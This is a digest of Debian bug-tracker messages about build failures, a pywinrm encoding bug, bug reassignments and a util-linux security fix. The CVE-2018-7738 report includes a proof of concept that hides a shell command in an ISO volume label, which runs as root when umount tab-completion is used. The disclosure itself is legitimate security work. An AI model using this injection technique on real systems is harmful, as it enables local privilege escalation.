Merging de.po...
Merging es.po...
Merging fr.po...
Merging gl.po...
Merging it.po...
Merging ja.po...
Merging nl.po...
Merging pl.po...
Merging pt.po...
Merging pt_BR.po...
Merging ru.po...
Merging sv.po...
Merging zh_CN.po...
pkgos-merge-templates heat-api-cfn heat-api-cfn endpoint
Merging cs.po...
Merging da.po...
Merging de.po...
Merging es.po...
Merging fr.po...
Merging gl.po...
Merging it.po...
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:22:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:32:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:44:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:77:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:120:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:145:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:152:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:159:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:166:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:173:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:180:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:253:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:263:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:282:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:291:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:312:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:337:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:344:1: syntax error
/usr/share/openstack-pkg-tools/debconf-templates/po/it.po:366:1: syntax error
msgmerge: found 19 fatal errors
make[1]: *** [debian/rules:29: override_dh_auto_build] Error 1



Builds with openstack-pkg-tools 70, so seems to be caused by

openstack-pkg-tools (71) unstable; urgency=medium
...
  * Updated Italian debconf translation, thanks to Daniele Mazzocchio
.
...

Bug#892695: [node-acorn] Create failure in other package

[Bastien ROUCARIÈS]

Package: node-acorn
Version: 5.5.3+ds1-1
Severity: serious

According to debci it create failure on at least:
node-astw
node-browser-unpack
node-falafel
node-lexical-scope


signature.asc
Description: This is a digitally signed message part.

Bug#892690: Autoconf-archive bug

[Bastien ROUCARIES]

Hi,

Could you recheck with newer version just uploaded ?

And close if not found

Bastien

Bug#819542: marked as done (python3-winrm unusable due to encoding error)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 22:20:45 +
with message-id 
and subject line Bug#819542: fixed in pywinrm 0.3.0-1
has caused the Debian Bug report #819542,
regarding python3-winrm unusable due to encoding error
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
819542: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=819542
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-winrm
Version: 0.0.3-1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

After installing python3-winrm and trying to follow the getting started example 
on https://pypi.python.org/pypi/pywinrm

This fails:

edb@lapelidb:/tmp$ cat test.py
#!/usr/bin/env python

import winrm
s = winrm.Session("1.2.3.4", auth=("admin", "admin"))
s.run_cmd("ipconfig", ["/all"])
edb@lapelidb:/tmp$ python3 test.py
Traceback (most recent call last):
  File "test.py", line 5, in 
s.run_cmd("ipconfig", ["/all"])
  File "/usr/lib/python3/dist-packages/winrm/__init__.py", line 28, in run_cmd
shell_id = self.protocol.open_shell()
  File "/usr/lib/python3/dist-packages/winrm/protocol.py", line 103, in 
open_shell
rs = self.send_message(xmltodict.unparse(rq))
  File "/usr/lib/python3/dist-packages/winrm/protocol.py", line 173, in 
send_message
return self.transport.send_message(message)
  File "/usr/lib/python3/dist-packages/winrm/transport.py", line 76, in 
send_message
response = urlopen(request, timeout=self.timeout)
  File "/usr/lib/python3.5/urllib/request.py", line 162, in urlopen
return opener.open(url, data, timeout)
  File "/usr/lib/python3.5/urllib/request.py", line 463, in open
req = meth(req)
  File "/usr/lib/python3.5/urllib/request.py", line 1170, in do_request_
raise TypeError(msg)
TypeError: POST data should be bytes or an iterable of bytes. It cannot be of 
type str.


There are some reports upstream:
 - https://github.com/diyan/pywinrm/issues/47
 - https://github.com/diyan/pywinrm/issues/80

I tested the latest upstream release (0.1.1 installed through pip3) which gave 
the same result.

On my system I tried to hotfix the version form the package, inspired upon this 
pull request https://github.com/diyan/pywinrm/pull/70

Mainly patching send_message() in protocol.py (lines 170-173) into


def send_message(self, message):
# TODO add message_id vs relates_to checking
# TODO port error handling code
return self.transport.send_message(message.encode("utf-8"))


And for me the package continued beyond this point.


So summary:
 - python3-winrm as available through apt is broken.
 - pywinrm as available today through pip (v 0.1.1) suffers from the same 
problem on my system.

my 2 cents
E.



-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.2.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages python3-winrm depends on:
ii  python3-isodate0.5.4-1
ii  python3-xmltodict  0.9.2-3
pn  python3:any

Versions of packages python3-winrm recommends:
ii  python3-kerberos  1.1.5-2+b2

python3-winrm suggests no packages.

-- no debconf information
This message is subject to the following terms and conditions: MAIL 
DISCLAIMER
--- End Message ---
--- Begin Message ---
Source: pywinrm
Source-Version: 0.3.0-1

We believe that the bug you reported is fixed in the latest version of
pywinrm, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 819...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Harlan Lieberman-Berg  (supplier of updated pywinrm 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 11 Mar 2018 17:13:20 -0400
Source: pywinrm
Binary: python3-winrm
Architecture: source
Version: 0.3.0-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Python Modules Team 

Bug#888663: libtemplate-perl: FTBFS with debhelper/11.1

[gregor herrmann]

On Sat, 10 Mar 2018 19:07:27 -0800, Benj. Mako Hill wrote:

> 
> > Is there something where the Debian Perl Group can help?
> Apologies for the slow response. The package needed a major
> overhaul. I've done that now and fixed this issue and quite a few
> others.

Thanks, that's excellent news.
 

Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at -- Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member VIBE!AT & SPI Inc. -- Supporter Free Software Foundation Europe
   `-   NP: The Dubliners: Wild rover


signature.asc
Description: Digital Signature

Bug#892653: marked as done (gretl FTBFS with glibc 2.27)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 22:05:24 +
with message-id 
and subject line Bug#892653: fixed in gretl 2017d-4
has caused the Debian Bug report #892653,
regarding gretl FTBFS with glibc 2.27
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892653: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892653
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: gretl
Version: 2017d-3
Severity: serious
Tags: fixed-upstream patch

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gretl.html

...
../cephes/iv.c: In function 'cephes_bessel_Iv':
../cephes/iv.c:70:19: error: 'DOMAIN' undeclared (first use in this function)
  mtherr("iv", DOMAIN);
   ^~
../cephes/iv.c:70:19: note: each undeclared identifier is reported only once 
for each function it appears in
make[2]: *** [Makefile:312: iv.lo] Error 1


Upstream fix:
https://sourceforge.net/p/gretl/git/ci/aec91eededdf618d42923276094b7c1b57dc034e/
--- End Message ---
--- Begin Message ---
Source: gretl
Source-Version: 2017d-4

We believe that the bug you reported is fixed in the latest version of
gretl, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Dirk Eddelbuettel  (supplier of updated gretl package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 11 Mar 2018 16:36:55 -0500
Source: gretl
Binary: gretl libgretl1 libgretl1-dev gretl-common gretl-data gretl-doc
Architecture: source all amd64
Version: 2017d-4
Distribution: unstable
Urgency: medium
Maintainer: Dirk Eddelbuettel 
Changed-By: Dirk Eddelbuettel 
Description:
 gretl  - GNU Regression, Econometric & Time-Series Library
 gretl-common - GNU Regression, Econometric & Time-Series Library -- scripts 
pack
 gretl-data - GNU Regression, Econometric & Time-Series Library -- data package
 gretl-doc  - GNU Regression, Econometric & Time-Series Library -- doc package
 libgretl1  - GNU Regression, Econometric & Time-Series Library -- library pack
 libgretl1-dev - GNU Regression, Econometric & Time-Series Library -- 
development
Closes: 892653
Changes:
 gretl (2017d-4) unstable; urgency=medium
 .
   * cephes/iv.c: Use upstream patch for compilation under glibc 2.27, with
 thanks to Adrian Bunk  (closes: #892653)
Checksums-Sha1:
 bb1885f82ba8ca9b16a97bc860c2ba7b2c982a9f 2311 gretl_2017d-4.dsc
 34bc2af00064166193c4e9f753c4c9aef96d3422 17368 gretl_2017d-4.debian.tar.xz
 24b311d119a15b4a8982483429f5bca718769ca1 785276 gretl-common_2017d-4_all.deb
 3951c540a97d0bda64f5c8d93df5038d3005b2c9 2352732 gretl-data_2017d-4_all.deb
 c3b69e99d7ba9111b9d88af68f44eb5ccc6f3acb 2713704 gretl-dbgsym_2017d-4_amd64.deb
 6c2b487d0d5915e1c646f7f91edde9f6df4615f6 1610520 gretl-doc_2017d-4_all.deb
 00d8d09aaffeb26ec021c32bff07d469a708a2bb 18232 gretl_2017d-4_amd64.buildinfo
 dc4445346f63ef18627a7838d6067b0d737f8230 3205876 gretl_2017d-4_amd64.deb
 418712fd06310b1576e1e8e89dc57437c4843944 2717272 
libgretl1-dbgsym_2017d-4_amd64.deb
 89e49b72665c447198e57760cec1e08ba7aa4b32 1366948 
libgretl1-dev_2017d-4_amd64.deb
 b8d5ccce1e0fc22ffbb7162096c991cd557f2e2b 1214060 libgretl1_2017d-4_amd64.deb
Checksums-Sha256:
 2c57d58d3e1f46a20a9d256384de25885997b2d852e779350155eda6a18971b9 2311 
gretl_2017d-4.dsc
 573f3c4b6bd6b7b5f92e7864237e4e4585efa109ad6630723957c6a76304df28 17368 
gretl_2017d-4.debian.tar.xz
 5e72324f3eac68224b31dae71fde817f77d8e167a26600f00671a51144c8ebc8 785276 
gretl-common_2017d-4_all.deb
 72f5293306a054ddb37adc040553fb2703776f5cc805f030e5036848f6c1051f 2352732 
gretl-data_2017d-4_all.deb
 4976d788cdba36131a71f3c883247c29af8e10da563a8975798c6907baadc1b1 2713704 
gretl-dbgsym_2017d-4_amd64.deb
 eae807e2a2fb0dab86cf5c68d97e9b7e8ac581580b08e88b28e2169ee6cbdb6e 1610520 
gretl-doc_2017d-4_all.deb
 7a8e1f8d9c3747ee4bd44964ae18e769407f4110484af91f568c2f3c820c4d7c 18232 
gretl_2017d-4_amd64.buildinfo
 e9dc8e3697ddcd6b688c3dab980cca6e967ac23e2e9a835e31c5f42e09e3e162 3205876 
gretl_2017d-4_amd64.deb
 

Bug#892653: gretl FTBFS with glibc 2.27

[Dirk Eddelbuettel]

On 11 March 2018 at 21:31, Adrian Bunk wrote:
| Source: gretl
| Version: 2017d-3
| Severity: serious
| Tags: fixed-upstream patch
| 
| https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gretl.html
| 
| ...
| ../cephes/iv.c: In function 'cephes_bessel_Iv':
| ../cephes/iv.c:70:19: error: 'DOMAIN' undeclared (first use in this function)
|   mtherr("iv", DOMAIN);
|^~
| ../cephes/iv.c:70:19: note: each undeclared identifier is reported only once 
for each function it appears in
| make[2]: *** [Makefile:312: iv.lo] Error 1
| 
| 
| Upstream fix:
| 
https://sourceforge.net/p/gretl/git/ci/aec91eededdf618d42923276094b7c1b57dc034e/

Thanks for that.  Should now be fixed in 2017d-4 which I just uploaded.

Dirk


-- 
http://dirk.eddelbuettel.com | @eddelbuettel | e...@debian.org

Bug#887940: [Pkg-postgresql-public] Bug#887940: libpq-dev:

[Adrian Bunk]

Control: clone -1 -2
Control: reopen -2
Control: reassign -2 autoconf-archive 20170321-1
Control: retitle -2 autoconf-archive: ax_lib_postgresql.m4 must be updated to 
work with the Debian-specific version string

On Tue, Jan 30, 2018 at 12:14:53AM +0100, Thomas Andrejak wrote:
> On Tue, 23 Jan 2018 09:50:32 +0100 Christoph Berg  wrote:
> > Control: reassign -1 src:libpreludedb
> >
> > Re: Adrian Bunk 2018-01-23 <20180123043023.GA11847@localhost>
> > > > > ./configure: line 19300: test: too many arguments
> > > > > ...
> > > >
> > > > Looks like the ax_lib_postgresql.m4 macro should be fixed with some
> > > > additional shell quoting.
> > >
> > > This is not about quoting, the pg_config output changed:
> > >
> > > 10.1-3:
> > > $ pg_config --version
> > > PostgreSQL 10.1 (Debian 10.1-3)
> >
> > The macro is buggy anyway, it decomposes the string into
> > major/minor/micro, but the middle component doesn't exist anymore with
> > PostgreSQL 10. That was fine with 10.0, but with 10.1, it will think
> > there was a new major release "10.1".
> >
> > Both issues need to be fixed on the libpreludedb side.
> >
> 
> OK but m4 came from autoconf-archive, they have to provide a new m4
> not buggy so we can update it inside libpreludedb.

I'm cloning a bug to autoconf-archive, that the master version of this 
macro there needs updating for the Debian-specific version string.

> Regards
> 
> Thomas

cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed

Processed: Re: Bug#887940: [Pkg-postgresql-public] Bug#887940: libpq-dev:

[Debian Bug Tracking System]

Processing control commands:

> clone -1 -2
Bug #887940 {Done: Thomas Andrejak } 
[src:libpreludedb] libpq-dev: changed version format in pg_config causes other 
packages to FTBFS
Bug 887940 cloned as bug 892690
> reopen -2
Bug #892690 {Done: Thomas Andrejak } 
[src:libpreludedb] libpq-dev: changed version format in pg_config causes other 
packages to FTBFS
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions libpreludedb/3.1.0-2.
> reassign -2 autoconf-archive 20170321-1
Bug #892690 [src:libpreludedb] libpq-dev: changed version format in pg_config 
causes other packages to FTBFS
Bug reassigned from package 'src:libpreludedb' to 'autoconf-archive'.
No longer marked as found in versions libpreludedb/3.1.0-1.
Ignoring request to alter fixed versions of bug #892690 to the same values 
previously set
Bug #892690 [autoconf-archive] libpq-dev: changed version format in pg_config 
causes other packages to FTBFS
Marked as found in versions autoconf-archive/20170321-1.
> retitle -2 autoconf-archive: ax_lib_postgresql.m4 must be updated to work 
> with the Debian-specific version string
Bug #892690 [autoconf-archive] libpq-dev: changed version format in pg_config 
causes other packages to FTBFS
Changed Bug title to 'autoconf-archive: ax_lib_postgresql.m4 must be updated to 
work with the Debian-specific version string' from 'libpq-dev: changed version 
format in pg_config causes other packages to FTBFS'.

-- 
887940: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=887940
892690: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892690
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892179: marked as done (util-linux: CVE-2018-7738: code execution in bash-completion for umount)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 21:02:07 +
with message-id 
and subject line Bug#892179: fixed in util-linux 2.29.2-1+deb9u1
has caused the Debian Bug report #892179,
regarding util-linux: CVE-2018-7738: code execution in bash-completion for 
umount
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892179: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892179
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: bash-completion
Version: 1:2.1-4.3
Severity: grave
Tags: security

Hi,

when bash-completion is installed, it uses
/usr/share/bash-completion/completions/umount from umount package to
provide autocompletion. This script does not escape mount paths
correctly, so it allows a local user with rights to mount filesystems to
execute commands in the context of the umount user (probably root).
Unprivileged users can mount filesystems with custom mountpoints using
udisks2, FUSE or with the help of desktop environments.

Example:

as regular user:
--
$ mkdir empty

$ genisoimage -o test.iso -V '$(IFS=":";cmd="touch:foo";$cmd)' empty
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
174 extents written (0 MB)

$ udisksctl loop-setup -f test.iso
Mapped file test.iso as /dev/loop0.

(if not mounted by automounter already)
$ udisksctl mount -b /dev/loop0
Mounted /dev/loop0 at /media/user/$(IFS=":";cmd="touch:foo";$cmd).
--

as different user or even root:
--
# ls -la
total 28
drwxr-xr-x  2 root root  4096 Feb 14 10:00 .
drwxrwxrwt 29 root root 24576 Feb 14 10:00 ..

# umount  ^C

# ls -la
total 28
drwxr-xr-x  2 root root  4096 Feb 14 10:01 .
drwxrwxrwt 29 root root 24576 Feb 14 10:00 ..
-rw-r--r--  1 root root 0 Feb 14 10:01 foo
--

I tested it using latest Debian GNU/Linux 9.3 (stretch) using default
installation with desktop environment.
Involved packages:
mount 2.29.2-1
bash 4.4-5
bash-completion 1:2.1-4.3
genisoimage 9:1.1.11-3+b2
udisks2 2.1.8-1

uname -a
Linux id382 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02)
x86_64 GNU/Linux

It seems to be fixed in upstream util-linux already because of a similar
bugfix:
https://github.com/karelzak/util-linux/commit/75f03badd7ed9f1dd951863d75e756883d3acc55#diff-a47601b5dbce9dc06c3af1deb02758c7

Björn Bosselmann
G DATA Software AG


-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-6-amd64 (SMP w/8 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8),
LANGUAGE= (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages bash-completion depends on:
ii  bash  4.4-5
ii  dpkg  1.18.24

bash-completion recommends no packages.

bash-completion suggests no packages.

-- no debconf information






signature.asc
Description: OpenPGP digital signature
--- End Message ---
--- Begin Message ---
Source: util-linux
Source-Version: 2.29.2-1+deb9u1

We believe that the bug you reported is fixed in the latest version of
util-linux, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Salvatore Bonaccorso  (supplier of updated util-linux 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Wed, 07 Mar 2018 19:29:09 +0100
Source: util-linux
Binary: util-linux util-linux-locales mount bsdutils fdisk-udeb libblkid1 
libblkid1-udeb libblkid-dev libfdisk1 libfdisk1-udeb libfdisk-dev libmount1 
libmount1-udeb libmount-dev libsmartcols1 libsmartcols1-udeb libsmartcols-dev 
libuuid1 uuid-runtime libuuid1-udeb uuid-dev util-linux-udeb setpriv
Architecture: source
Version: 2.29.2-1+deb9u1
Distribution: stretch-security
Urgency: high
Maintainer: Debian 

Processed: Re: Bug#892647: linux-image-4.14.0-0.bpo.3-amd64: Kernel panic, NULL pointer dereference in xhci_hcd

[Debian Bug Tracking System]

Processing control commands:

> severity -1 important
Bug #892647 [src:linux] linux-image-4.14.0-0.bpo.3-amd64: Kernel panic, NULL 
pointer dereference in xhci_hcd
Severity set to 'important' from 'critical'
> tag -1 moreinfo
Bug #892647 [src:linux] linux-image-4.14.0-0.bpo.3-amd64: Kernel panic, NULL 
pointer dereference in xhci_hcd
Added tag(s) moreinfo.

-- 
892647: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892647
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892647: linux-image-4.14.0-0.bpo.3-amd64: Kernel panic, NULL pointer dereference in xhci_hcd

[Bastian Blank]

Control: severity -1 important
Control: tag -1 moreinfo

On Sun, Mar 11, 2018 at 07:57:11PM +0200, enyone wrote:
[ no text] 

> ** Tainted: O (4096)
>  * Out-of-tree module has been loaded.

Please drop this modules, they are not supported by us.  After you do,
please show new evidence.

Bastian

Processed: Fixed in stretch by binNMU

[Debian Bug Tracking System]

Processing control commands:

> tags -1 buster sid
Bug #879789 {Done: Mark Brown } [intercal] intercal: Link 
error when compiling Intercal programs
Added tag(s) sid and buster.

-- 
879789: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=879789
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#879789: Fixed in stretch by binNMU

[Adrian Bunk]

Control: tags -1 buster sid

This was now fixed in stretch with a binNMU (#891585).

This tagging is not completely correct, but closing bugs with binNMU 
versions does not work.

cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed

Processed: Proper bug title

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 892662 uglifyjs FTBFS: test failures
Bug #892662 {Done: Adrian Bunk } [src:uglifyjs] uglifyjs FTBFS:
Changed Bug title to 'uglifyjs FTBFS: test failures' from 'uglifyjs FTBFS:'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892662: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892662
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: uglifyjs FTBFS:

[Debian Bug Tracking System]

Processing control commands:

> fixed -1 3.3.10-1
Bug #892662 [src:uglifyjs] uglifyjs FTBFS:
Marked as fixed in versions uglifyjs/3.3.10-1.
> close -1
Bug #892662 [src:uglifyjs] uglifyjs FTBFS:
Marked Bug as done

-- 
892662: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892662
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892662: uglifyjs FTBFS:

[Adrian Bunk]

Source: uglifyjs
Version: 2.8.29-3
Severity: serious
Control: fixed -1 3.3.10-1
Control: close -1

https://tests.reproducible-builds.org/debian/history/uglifyjs.html
https://tests.reproducible-builds.org/debian/rb-pkg/experimental/i386/uglifyjs.html

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/uglifyjs.html

...
  7 passing (3m)
  103 failing

  1) Accessor tokens
   Should fill the token information for accessors (issue #1492):
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:372:7)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)

  2) arguments
   Should recognize when a function uses arguments:
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:372:7)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)

  3) bin/uglifyjs
   should produce a functional build when using --self:
 Error: Timeout of 15000ms exceeded. For async tests and hooks, ensure 
"done()" is called; if returning a Promise, ensure it resolves.
  at Timeout. (/usr/lib/nodejs/mocha/lib/runnable.js:238:19)

  4) bin/uglifyjs
   Should be able to filter comments correctly with `--comment all`:
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at /usr/lib/nodejs/mocha/lib/runnable.js:392:7
  at test/mocha/cli.js:30:13
  at ChildProcess.exithandler (child_process.js:267:7)
  at maybeClose (internal/child_process.js:925:16)
  at Process.ChildProcess._handle.onexit (internal/child_process.js:209:5)

  5) bin/uglifyjs
   Should be able to filter comments correctly with `--comment `:
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at /usr/lib/nodejs/mocha/lib/runnable.js:392:7
  at test/mocha/cli.js:40:13
  at ChildProcess.exithandler (child_process.js:267:7)
  at maybeClose (internal/child_process.js:925:16)
  at Process.ChildProcess._handle.onexit (internal/child_process.js:209:5)

  6) bin/uglifyjs
   Should be able to filter comments correctly with just `--comment`:
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at /usr/lib/nodejs/mocha/lib/runnable.js:392:7
  at test/mocha/cli.js:50:13
  at ChildProcess.exithandler (child_process.js:267:7)
  at maybeClose (internal/child_process.js:925:16)
  at Process.ChildProcess._handle.onexit (internal/child_process.js:209:5)

  7) bin/uglifyjs
   Should append source map to output when using --source-map-inline:
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at /usr/lib/nodejs/mocha/lib/runnable.js:392:7
  at test/mocha/cli.js:61:13
  at ChildProcess.exithandler (child_process.js:267:7)
  at maybeClose (internal/child_process.js:925:16)
  at Socket.stream.socket.on (internal/child_process.js:346:11)

  8) bin/uglifyjs
   should not append source map to output when not using 
--source-map-inline:
 Error: Timeout of 0ms exceeded. For async tests and hooks, ensure "done()" 
is called; if returning a Promise, ensure it resolves.
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:298:13)
  at /usr/lib/nodejs/mocha/lib/runnable.js:392:7
  at test/mocha/cli.js:71:13
  at ChildProcess.exithandler (child_process.js:267:7)
  at maybeClose (internal/child_process.js:925:16)
  at Process.ChildProcess._handle.onexit 

Bug#891628: Processed: diodon: Fails to build with vala 0.40

[Oliver Sauder]

I have addressed this issue and uploaded a new package to mentors.

See sponsorship request at
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892660

Oliver

Bug#891539: marked as done (python-murano-pkg-check FTBFS: test failures)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 21:39:24 +0100
with message-id <93f84993-9ecd-ff0e-fc0e-bfc22dfa7...@debian.org>
and subject line Could not reproduce
has caused the Debian Bug report #891539,
regarding python-murano-pkg-check FTBFS: test failures
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891539: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891539
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-murano-pkg-check
Version: 0.3.0-2
Severity: serious

Some recent change in unstable makes python-murano-pkg-check FTBFS:

https://tests.reproducible-builds.org/debian/history/python-murano-pkg-check.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-murano-pkg-check.html

...
==
FAIL: 
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_bad_assigment_case2
